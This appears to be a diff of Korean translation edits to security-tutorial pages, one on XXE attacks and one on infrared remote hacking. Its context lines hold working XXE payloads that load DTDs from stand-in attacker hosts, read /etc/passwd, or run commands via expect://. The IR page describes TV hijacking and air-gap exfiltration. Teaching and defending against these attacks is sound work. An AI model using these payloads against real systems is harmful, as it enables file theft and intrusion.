주어진 악성 DTD에서는 데이터를 탈출하기 위해 일련의 단계가 수행됩니다:
|
||||
|
||||
### Malicious DTD Example:
|
||||
|
||||
@ -125,16 +125,16 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
|
||||
### 오류 기반(외부 DTD)
|
||||
|
||||
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악성 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
악의적인 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
|
||||
악성 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
|
||||
|
||||
1. `/etc/passwd` 파일의 내용을 포함하는 `file`이라는 XML 매개변수 엔티티가 정의됩니다.
|
||||
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 포함합니다.
|
||||
3. `eval` 엔티티가 호출되어 `error` 엔티티의 동적 선언이 이루어집니다.
|
||||
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 `/etc/passwd` 파일의 내용을 포함하는 오류 메시지를 생성합니다.
|
||||
|
||||
악의적인 외부 DTD는 다음 XML로 호출될 수 있습니다:
|
||||
악성 외부 DTD는 다음 XML로 호출될 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
@ -144,13 +144,13 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
|
||||
.png>)
|
||||
|
||||
_**외부 DTD는 두 번째 `eval` 내부에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
|
||||
_**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
|
||||
|
||||
### **오류 기반 (시스템 DTD)**
|
||||
|
||||
그렇다면 **외부 상호작용이 차단된** 블라인드 XXE 취약점은 어떻게 될까요(외부 연결이 불가능한 경우)?
|
||||
|
||||
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
|
||||
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용하여 발생합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
|
||||
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
|
||||
```xml
|
||||
@ -165,11 +165,11 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
다음 단계는 이 DTD에 의해 실행됩니다:
|
||||
이 DTD에 의해 설명된 단계가 실행됩니다:
|
||||
|
||||
- `local_dtd`라는 XML 매개변수 엔티티의 정의에는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
|
||||
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 `/etc/passwd` 파일의 내용을 노출합니다.
|
||||
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 의도된 오류 메시지를 발생시킵니다.
|
||||
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
|
||||
|
||||
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 `ISOamso`라는 엔티티가 포함된 DTD를 가지고 있습니다.
|
||||
```xml
|
||||
@ -219,9 +219,9 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE via Office Open XML Parsers
|
||||
|
||||
이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
|
||||
이 공격에 대한 더 깊은 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
|
||||
|
||||
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
|
||||
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
|
||||
|
||||
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
|
||||
|
||||
@ -229,7 +229,7 @@ Testing 0 entities : []
|
||||
|
||||
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
|
||||
|
||||
마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성한 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:
|
||||
마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성된 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:
|
||||
|
||||
이제 생성된 파일을 잠재적으로 취약한 웹 애플리케이션에 업로드할 수 있으며, Burp Collaborator 로그에 요청이 나타나기를 기대할 수 있습니다.
|
||||
|
||||
@ -245,19 +245,19 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:
|
||||
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예: `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장됩니다, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
|
||||
3. 아카이브가 추출되어 그 내용을 접근합니다.
|
||||
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
|
||||
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.
|
||||
|
||||
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 리포지토리](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구로는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 있습니다.
|
||||
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구들, 예를 들어 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`),을 이 목적을 위해 활용할 수 있습니다.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 임시 디렉토리에 파일을 작성하는 것은 **경로 탐색과 관련된 다른 취약점을 상승시키는 데 도움이 될 수 있습니다** (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).
|
||||
> 임시 디렉토리에 파일을 작성하는 것은 **경로 탐색과 관련된 다른 취약점을 악용하는 데 도움이 될 수 있습니다** (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -334,11 +334,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
|
||||
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
|
||||
|
||||
자세한 내용은 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
|
||||
|
||||
**읽은 파일의 첫 번째 줄이나 실행 결과는 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
|
||||
**읽은 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
|
||||
|
||||
### **PDF - 파일 업로드**
|
||||
|
||||
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
|
||||
### UTF-7
|
||||
|
||||
여기서 \[**"Encode Recipe**" of cyberchef를 사용하실 수 있습니다\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)에서]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29에서](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29에서) UTF-7로 변환합니다.
|
||||
여기에서 \[**"Encode Recipe**" of cyberchef\]를 사용할 수 있습니다.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -429,8 +429,8 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\
|
||||
**html entities**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 **로드**할 수 있습니다.\
|
||||
사용되는 **HTML Entities**는 **숫자**여야 한다는 점에 유의하세요 (예: \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
**html entities**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 로드할 수 있습니다.\
|
||||
사용되는 **HTML Entities**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
@ -476,7 +476,7 @@ DTD 예:
|
||||
|
||||
이 예시는 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)에서 영감을 받았습니다.
|
||||
|
||||
XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
XLIFF (XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 로컬라이제이션 중 도구 간에 로컬라이즈 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -686,14 +686,14 @@ https://github.com/luisfontes19/xxexploiter
|
||||
> [!INFO]
|
||||
> Python 라이브러리 **lxml**은 내부적으로 **libxml2**를 사용합니다. **lxml 5.4.0 / libxml2 2.13.8** 이전 버전은 `resolve_entities=False`일 때도 *parameter* 엔티티를 확장하여, 애플리케이션이 `load_dtd=True` 및/또는 `resolve_entities=True`를 활성화하면 접근할 수 있게 됩니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 허용합니다.
|
||||
|
||||
#### 1. lxml < 5.4.0 이용하기
|
||||
#### 1. lxml < 5.4.0 악용
|
||||
1. **정의되지 않은** 파라미터 엔티티(예: `%config_hex;`)를 정의하는 *로컬* DTD를 디스크에 식별하거나 생성합니다.
|
||||
2. 내부 DTD를 작성하여:
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`로 로컬 DTD를 로드합니다.
|
||||
* 정의되지 않은 엔티티를 재정의하여:
|
||||
- 대상 파일을 읽습니다 (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- `%flag;` 값을 포함하는 **유효하지 않은 경로**를 참조하는 또 다른 파라미터 엔티티를 생성하고 파서 오류를 유발합니다 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. 마지막으로 `%local_dtd;`와 `%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못하게 하여 예외에 포함된 플래그를 누출합니다 – 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
|
||||
3. 마지막으로 `%local_dtd;`와 `%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못하게 하여 플래그가 발생한 예외 내에 누출되도록 합니다 – 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -729,11 +729,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
#### 주요 내용
|
||||
* **파라미터 엔티티**는 `resolve_entities`가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
|
||||
* **유효하지 않은 URI** 또는 **존재하지 않는 파일**만으로도 제어된 데이터를 발생한 예외에 연결할 수 있습니다.
|
||||
* 이 기술은 **아웃바운드 연결 없이** 작동하므로, 엄격하게 이그레스 필터링된 환경에 이상적입니다.
|
||||
* 이 기술은 **아웃바운드 연결 없이** 작동하므로, 엄격한 이그레스 필터링 환경에 이상적입니다.
|
||||
|
||||
#### 완화 지침
|
||||
* **lxml ≥ 5.4.0**으로 업그레이드하고, 기본 **libxml2**가 **≥ 2.13.8**인지 확인하십시오.
|
||||
* 절대 필요하지 않은 경우 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오.
|
||||
* 절대 필요한 경우가 아니면 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오.
|
||||
* 클라이언트에게 원시 파서 오류를 반환하지 마십시오.
|
||||
|
||||
### Java DocumentBuilderFactory 강화 예시
|
||||
|
@ -39,9 +39,9 @@ IR 프로토콜은 3가지 요소에서 다릅니다:
|
||||
**4. 이전 방식과 기타 이국적인 조합**
|
||||
|
||||
> [!TIP]
|
||||
> 여러 종류의 장치에 대해 **보편적이 되려고 하는** IR 프로토콜이 있습니다. 가장 유명한 것은 RC5와 NEC입니다. 불행히도, 가장 유명하다고 해서 가장 일반적이라는 의미는 아닙니다. 제 환경에서는 NEC 리모컨 두 개만 보았고 RC5는 없었습니다.
|
||||
> 여러 유형의 장치에 대해 **보편적이 되려고 하는** IR 프로토콜이 있습니다. 가장 유명한 것은 RC5와 NEC입니다. 불행히도, 가장 유명하다고 해서 가장 일반적이라는 의미는 아닙니다. 제 환경에서는 NEC 리모컨 두 개만 보았고 RC5는 없었습니다.
|
||||
>
|
||||
> 제조업체들은 동일한 장치 범위 내에서도 고유한 IR 프로토콜을 사용하는 것을 좋아합니다 (예: TV 박스). 따라서 서로 다른 회사의 리모컨이나 때로는 동일한 회사의 서로 다른 모델의 리모컨은 동일한 유형의 다른 장치와 작동할 수 없습니다.
|
||||
> 제조업체는 동일한 장치 범위 내에서도 고유한 IR 프로토콜을 사용하는 것을 좋아합니다(예: TV 박스). 따라서 서로 다른 회사의 리모컨이나 때로는 동일한 회사의 서로 다른 모델의 리모컨은 동일한 유형의 다른 장치와 작동할 수 없습니다.
|
||||
|
||||
### IR 신호 탐색
|
||||
|
||||
@ -51,11 +51,11 @@ IR 프로토콜은 3가지 요소에서 다릅니다:
|
||||
|
||||
일반적으로 인코딩된 패킷의 시작 부분에는 프리앰블이 있습니다. 이는 수신기가 이득 수준과 배경을 결정할 수 있게 해줍니다. 프리앰블이 없는 프로토콜도 있으며, 예를 들어 Sharp가 있습니다.
|
||||
|
||||
그 다음 데이터가 전송됩니다. 구조, 프리앰블 및 비트 인코딩 방법은 특정 프로토콜에 의해 결정됩니다.
|
||||
그런 다음 데이터가 전송됩니다. 구조, 프리앰블 및 비트 인코딩 방법은 특정 프로토콜에 의해 결정됩니다.
|
||||
|
||||
**NEC IR 프로토콜**은 짧은 명령과 버튼이 눌려 있는 동안 전송되는 반복 코드로 구성됩니다. 명령과 반복 코드 모두 시작 부분에 동일한 프리앰블을 가지고 있습니다.
|
||||
**NEC IR 프로토콜**은 짧은 명령과 반복 코드를 포함하며, 버튼이 눌리는 동안 전송됩니다. 명령과 반복 코드 모두 시작 부분에 동일한 프리앰블을 가지고 있습니다.
|
||||
|
||||
NEC **명령**은 프리앰블 외에도 장치가 수행해야 할 작업을 이해할 수 있도록 주소 바이트와 명령 번호 바이트로 구성됩니다. 주소 및 명령 번호 바이트는 전송의 무결성을 확인하기 위해 역값으로 복제됩니다. 명령의 끝에는 추가적인 정지 비트가 있습니다.
|
||||
NEC **명령**은 프리앰블 외에도 장치가 수행해야 할 작업을 이해할 수 있도록 주소 바이트와 명령 번호 바이트로 구성됩니다. 주소 및 명령 번호 바이트는 전송의 무결성을 확인하기 위해 역값으로 중복됩니다. 명령의 끝에는 추가적인 정지 비트가 있습니다.
|
||||
|
||||
**반복 코드**는 프리앰블 뒤에 "1"이 있으며, 이는 정지 비트입니다.
|
||||
|
||||
@ -64,7 +64,7 @@ NEC **명령**은 프리앰블 외에도 장치가 수행해야 할 작업을
|
||||
### 에어컨
|
||||
|
||||
다른 리모컨과 달리 **에어컨은 눌린 버튼의 코드만 전송하지 않습니다**. 버튼이 눌리면 **모든 정보를 전송**하여 **에어컨과 리모컨이 동기화되도록** 합니다.\
|
||||
이렇게 하면 20ºC로 설정된 기계가 한 리모컨으로 21ºC로 증가하고, 이후 20ºC로 설정된 다른 리모컨을 사용하여 온도를 더 높이면 "21ºC로 증가"하게 되어 (21ºC에 있다고 생각하지 않고 22ºC로 증가하지 않음) 방지할 수 있습니다.
|
||||
이렇게 하면 20ºC로 설정된 기계가 한 리모컨으로 21ºC로 증가하고, 이후 20ºC로 온도가 설정된 다른 리모컨을 사용하여 온도를 더 높이면 21ºC로 "증가"하게 됩니다(21ºC에 있다고 생각하지 않고 22ºC로).
|
||||
|
||||
---
|
||||
|
||||
@ -78,7 +78,7 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### 스마트-TV / 셋톱 박스 탈취 (EvilScreen)
|
||||
|
||||
최근의 학술 연구(EvilScreen, 2022)는 **적외선과 블루투스를 결합한 다채널 리모컨이 현대 스마트-TV를 완전히 탈취하는 데 악용될 수 있음을 보여주었습니다**. 이 공격은 높은 권한의 IR 서비스 코드를 인증된 블루투스 패킷과 연결하여 채널 격리를 우회하고 임의의 앱 실행, 마이크 활성화 또는 물리적 접근 없이 공장 초기화를 허용합니다. 삼성 모델을 포함한 8개의 주요 TV가 취약한 것으로 확인되었습니다. 완화 조치는 공급업체의 펌웨어 수정 또는 사용하지 않는 IR 수신기를 완전히 비활성화하는 것을 요구합니다.
|
||||
최근의 학술 연구(EvilScreen, 2022)는 **적외선과 블루투스 또는 Wi-Fi를 결합한 다채널 리모컨이 현대 스마트-TV를 완전히 탈취하는 데 악용될 수 있음을 보여주었습니다**. 이 공격은 높은 권한의 IR 서비스 코드를 인증된 블루투스 패킷과 연결하여 채널 격리를 우회하고 임의의 앱 실행, 마이크 활성화 또는 물리적 접근 없이 공장 초기화를 허용합니다. 삼성 모델을 포함한 8개의 주요 TV가 취약한 것으로 확인되었습니다. 완화 조치는 공급업체의 펌웨어 수정 또는 사용하지 않는 IR 수신기를 완전히 비활성화하는 것을 요구합니다.
|
||||
|
||||
### IR LED를 통한 공기 간섭 데이터 유출 (aIR-Jumper 패밀리)
|
||||
|
||||
@ -86,13 +86,13 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
* 민감한 지역에서 IR LED를 물리적으로 차폐하거나 제거
|
||||
* 카메라 LED 듀티 사이클 및 펌웨어 무결성 모니터링
|
||||
* 창문 및 감시 카메라에 IR 컷 필터 배치
|
||||
* 창문과 감시 카메라에 IR 컷 필터 배치
|
||||
|
||||
공격자는 또한 강력한 IR 프로젝터를 사용하여 **명령을 침투**시켜 불안전한 카메라로 데이터를 플래시할 수 있습니다.
|
||||
|
||||
### Flipper Zero 1.0을 통한 장거리 무차별 대입 및 확장 프로토콜
|
||||
|
||||
펌웨어 1.0(2024년 9월)은 **수십 개의 추가 IR 프로토콜 및 선택적 외부 증폭기 모듈**을 추가했습니다. 범용 리모컨 무차별 대입 모드와 결합하여 Flipper는 최대 30m 거리에서 고출력 다이오드를 사용하여 대부분의 공공 TV/에어컨을 비활성화하거나 재구성할 수 있습니다.
|
||||
펌웨어 1.0(2024년 9월)은 **수십 개의 추가 IR 프로토콜 및 선택적 외부 증폭기 모듈**을 추가했습니다. 보편적 리모컨 무차별 대입 모드와 결합하여 Flipper는 고출력 다이오드를 사용하여 최대 30m 거리에서 대부분의 공공 TV/에어컨을 비활성화하거나 재구성할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
@ -100,8 +100,8 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### 하드웨어
|
||||
|
||||
* **Flipper Zero** – 학습, 재생 및 사전 정의된 무차별 대입 모드가 있는 휴대용 송수신기(위 참조).
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx 수신기 – 저렴한 DIY 분석기/송신기. `Arduino-IRremote` 라이브러리와 결합 (v4.x는 >40 프로토콜 지원).
|
||||
* **Flipper Zero** – 학습, 재생 및 사전 정의된 무차별 대입 모드를 갖춘 휴대용 송수신기(위 참조).
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx 수신기 – 저렴한 DIY 분석기/송신기. `Arduino-IRremote` 라이브러리와 결합(버전 4.x는 >40 프로토콜 지원).
|
||||
* **로직 분석기** (Saleae/FX2) – 프로토콜이 알려지지 않았을 때 원시 타이밍 캡처.
|
||||
* **IR 블래스터가 있는 스마트폰** (예: Xiaomi) – 빠른 현장 테스트지만 범위가 제한적입니다.
|
||||
|
||||
@ -120,7 +120,7 @@ delay(5000);
|
||||
* **IRscrutinizer / AnalysIR** – 원시 캡처를 가져오고 프로토콜을 자동으로 식별 + Pronto/Arduino 코드를 생성하는 GUI 디코더.
|
||||
* **LIRC / ir-keytable (Linux)** – 명령줄에서 IR 수신 및 주입:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # 실시간 덤프 디코딩된 스캔 코드
|
||||
sudo ir-keytable -p nec,rc5 -t # 실시간 덤프 디코드된 스캔 코드
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
```
|
||||
|
||||
@ -130,7 +130,7 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
* 필요하지 않을 때 공공 장소에 배치된 장치의 IR 수신기를 비활성화하거나 덮습니다.
|
||||
* 스마트-TV와 리모컨 간의 *페어링* 또는 암호화 검사를 시행하고, 특권 "서비스" 코드를 격리합니다.
|
||||
* 기밀 지역 주변에 IR 컷 필터 또는 연속파 탐지기를 배치하여 광학 은밀 채널을 차단합니다.
|
||||
* 기밀 지역 주변에 IR 컷 필터 또는 연속파 감지기를 배치하여 광학 은밀한 채널을 차단합니다.
|
||||
* 제어 가능한 IR LED를 노출하는 카메라/IoT 기기의 펌웨어 무결성을 모니터링합니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
@ -2,25 +2,25 @@
|
||||
